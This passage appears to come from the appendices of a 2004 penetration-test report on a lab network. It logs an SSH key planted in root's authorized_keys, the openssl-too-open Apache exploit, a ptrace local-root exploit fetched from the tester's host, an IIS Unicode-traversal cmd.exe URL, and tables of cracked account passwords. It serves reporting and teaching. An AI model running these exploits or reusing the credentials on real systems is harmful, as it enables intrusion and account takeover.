uid=0(root) gid=0(root) groups=0(root)

4.2.4 Adding the ssh public key

#mkdir /root/.ssh
echo ssh-dss AAAAB3NzaC1kc3MAAACBAKLY/FhMU1kbbSk4ae1HGiOXU9/s+fS64G+K0Qt8/0bK
h9bSTz00lsWs9CIiH8ShjgkEjzSmycIq5UPXrVOK+BPuQ1hvnO77kwBbDOFIWspEdz7A3XhL00RaI
F+Jbs3TbuDS5UNh/d1epyIRINyi/xDsq32VmWMqhAAAAFQC99xMTWO9W7hXjF/yJE9ev6FHzlQAAA
FY+0lSQxl3FQBcvpTTxabYtHN8pbGg4ZqqKoh/12fNQK01vwYNj0JTzBPiux9ss6FYLlsAP4/xPLl
0kSY/H3zUS3+cICieO2p/lvKpBCgduP7/3iSrJjNVl71wvJ4uTqwKXtbl1wB2fZz1LaWhGoxHyOxu
6d7mRD2/pAAAAIAlfS6vdFa8htfSL6PSsLKJN5dFNjZg1RFVPGBqnGJDeoiurlPSkTf3w3+oV7lHT
i5Kav9+l+uSmYjP9y6B5cuBfHgXPptYicslXFWkZfcW1ywvnAa8osp6qYeq+DKgZO/0lBgwA6hoF0
f152ZU73YJyfemmbT/wx2ezkRA== besnard@arm >>/root/.ssh/authorized_keys

31
4.2.5 Exploit of Apache with OpenSSL
#./openssl-too-open
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <[email protected]>

Usage: ../practical/exploits/openssl-too-open [options] <host>

-a <arch> target architecture (default is 0x00)
-p <port> SSL port (default is 443)
-c <N> open N apache connections before sending the shellcode (
-m <N> maximum number of open connections (default is 50)
-v verbose mode

Supported architectures:
0x00 - Gentoo (apache-1.3.24-r2)
0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
0x02 - Slackware 7.0 (apache-1.3.26)
0x03 - Slackware 8.1-stable (apache-1.3.26)
0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
0x0c - SuSE Linux 7.0 (apache-1.3.12)
0x0d - SuSE Linux 7.1 (apache-1.3.17)
0x0e - SuSE Linux 7.2 (apache-1.3.19)
0x0f - SuSE Linux 7.3 (apache-1.3.20)
0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
0x11 - SuSE Linux 8.0 (apache-1.3.23)
0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

Examples: ../practical/exploits/openssl-too-open -a 0x01 -v localhost

../practical/exploits/openssl-too-open -p 1234 192.168.0.1 -c 40 -m

#./openssl-too-open -a 0x01 10.0.0.10

32
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <[email protected]>

: Opening 30 connections
Establishing SSL connections
4.2.6 Shell of the apache user
#grep apache /etc/passwd
apache:x:15:10::/home/httpd:/bin/false

4.2.7 Version of the Linux kernel

#uname -r
2.2.26

4.2.8 Out put of finger (showing our presence)

Directory: /root Shell: /bin/bash

On since Fri Apr 23 11:02 (BST) on tty1 1 hour 31 minutes idle
Last login Fri Apr 23 11:20 (BST) on pts/0 from 10.0.0.114
New mail received Wed Apr 21 16:00 2004 (BST)
Unread since Wed Apr 21 15:56 2004 (BST)
No Plan.

4.2.9 Local exploit of ptrace vulnerabilities in Linux

lynx -O ptrace_exploit.c http://10.0.0.114/~besnard/ptrace_exploit.c

gcc -o ptrace_exploit ptrace_exploit.c
./ptrace_exploit
[-]Attaching
[-]Sending shellcode
[-]Getting shell
uid=0(root) gid=0(root) groups=0(root)

33
4.3 Appendix C
4.3.1 Listing of the current working directory
http://10.0.0.14\scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
Directory of c:\inetpub\scripts

05/02/2004 15:32 <DIR> .

05/02/2004 15:32 <DIR> ..

05/02/2004 14:49 <DIR> -e

05/02/2004 14:45 <DIR> -l

05/02/2004 14:45 <DIR> -p

05/02/2004 14:45 <DIR> .exe

05/02/2004 14:49 <DIR> 6666

05/02/2004 14:45 <DIR> 6666-e

05/02/2004 14:45 <DIR> cmd.exe

08/01/2004 02:04 2,560 nc.exe

08/01/2004 02:02 2,560 nc11win32.exe

09/11/1999 21:46 15,248 NSIISLOG.DLL

3 File(s) 20,368 bytes

9 Dir(s) 2,530,743,296 bytes free

34
4.3.2 Host 10.0.0.11
User Account Password
groupb groupb
administrator a
user d
user passwor
administrator ncc1701
anderson.c e
johnson.s stevej
anderson.c westlif

4.3.3 Host 10.0.0.12

User Account Password
gash gash
anderson.c e
jones.n passwor
jones.m l
adams.t mistert
jones.n d1
administrator sword!
johnson.s stevej
anderson.c westlif
whiting.r mssucks
jones.m iambril

35
4.3.4 Host 10.0.0.14
User Account Password
dhiraj dhiraj
groupb groupb
ucar ucar
chadhaburls chadhab
chadhaburls urls
jones.m l
administrator a
user d
anderson.c e
administrator ncc1701
adams.t mistert
backup d1

4.3.5 Host 10.0.0.16

User Account Password
groupb groupb
chadhaburls urls
chadhaburls chadhab
administrator ncc1701
administrator a

4.3.6 Host 10.0.0.18

User Account Password
administrator a
groupb groupb
chadhaburls chadhab
chadhaburls urls
jones.n passwor
administrator ncc1701
adams.t mistert
watson.a leeds

36
4.3.7 Host 10.0.0.19
User Account Password
administrator s
groupb groupb
chadhaburls chadhab
chadhaburls urls
user d
anderson.c e
user passwor
adams.t mistert

4.3.8 Host 10.0.0.20

User Account Password
groupb groupb
chadhaburls chadhab
chadhaburls urls
user whiting.r d
anderson.c e
jones.n user
whiting.r passwor
adams.t mistert
ucar ucar
gash gash
durrani durrani
dhiraj dhiraj
jones.m admin
labadmin ncc1701
jones.n d1
test anton
labadmin ajlp

37
Bibliography

[FPING] fping, a program to ping hosts in parallel, D. Papp, T. Dzubin.

http://www.fping.com

[NMAP] nmap, a free open source utility for network exploration or se-
curity auditing. http://www.insecure.org/nmap/

[CA-2001-33] Multiple vulnerabilities in WU-FTPD, http://www.cert.

org/advisories/CA-2001-33.html

[CA-2002-23] Multiple vulnerabilities in OpenSSL, http://www.cert.org/

advisories/CA-2002-23.html

[CAN-2003-0127] Linux Kernel Privileged Process Hijacking Vulnerability,

http://www.securityfocus.com/bid/7112

[BID-3163] Sendmail Debugger Arbitrary Code Execution Vulnerability,

http://www.securityfocus.com/bid/3163

[RHSA-2003-073] Remote Buffer Overflow in Sendmail, http://www.

redhat.com/support/errata/RHSA-2003-073.html

[RHSA-2003-120] Remote Buffer Overflow in Sendmail, http://www.

redhat.com/support/errata/RHSA-2003-120.html

[BID-5122] Sendmail DNS Map TXT Record Buffer Overflow Vulnerability,

http://www.securityfocus.com/bid/5122

[BID-5093] OpenSSH Challenge-Response Buffer Overflow Vulnerabilities,

http://www.securityfocus.com/bid/5093

[BID-4241] OpenSSH Channel Code Off-By-One Vulnerability, http://

www.securityfocus.com/bid/4241

[BID-4560] OpenSSH Kerberos 4 TGT/AFS Token Buffer Overflow Vulner-

ability, http://www.securityfocus.com/bid/4560

38
[BID-8628] OpenSSH Buffer Mismanagement Vulnerabilities, http://www.
securityfocus.com/bid/8628

[BID-3614] OpenSSH UseLogin Environment Variable Passing Vulnerabil-

ity, http://www.securityfocus.com/bid/3614

[BID-2347] SSH CRC-32 Compensation Attack Detector Vulnerability,

http://www.securityfocus.com/bid/2347

[JOHN] John The Ripper, Password Cracker, http://www.openwall.

com/john/

[BID-1806] Microsoft IIS and PWS Extended Unicode Directory Traversal

Vulnerability, http://www.securityfocus.com/bid/1806

[GFI-LANGUARD] Network Security Scanner & Port Scanner, http://

www.gfi.com/lannetscan/

[GNOMBA] Gnomba, GUI Samba Browser, http://www.gnu.org/

directory/gui/other/gnomba.html

[NETCAT] The GNU Netcat, http://netcat.sf.net/

[BID-3581] Wu-Ftpd File Globbing Heap Corruption Vulnerability, http:

//www.securityfocus.com/bid/3581

[BID-2550] Solaris ftpd glob() Expansion LIST Heap Overflow Vulnerability,

http://www.securityfocus.com/bid/2550

[BID-2308] Sendmail Invalid MAIL/RCPT Vulnerability, http://www.

securityfocus.com/bid/2308

[NACS] SunOS 2.6 7 8 :Remote Buffer Overflow Vulnerability in

Solaris Print Protocol Daemon], http://www.nacs.uci.edu/
security/archive/msg00262.html

[SecuriTeam] Solaris TTYPROMPT Security Vulnerability (Telnet), http:

//www.securiteam.com/unixfocus/6R0050K5PC.html

[NESSUS] A free, powerful, up-to-date and easy to use remote security

scanner., http://www.nessus.org/intro.html

39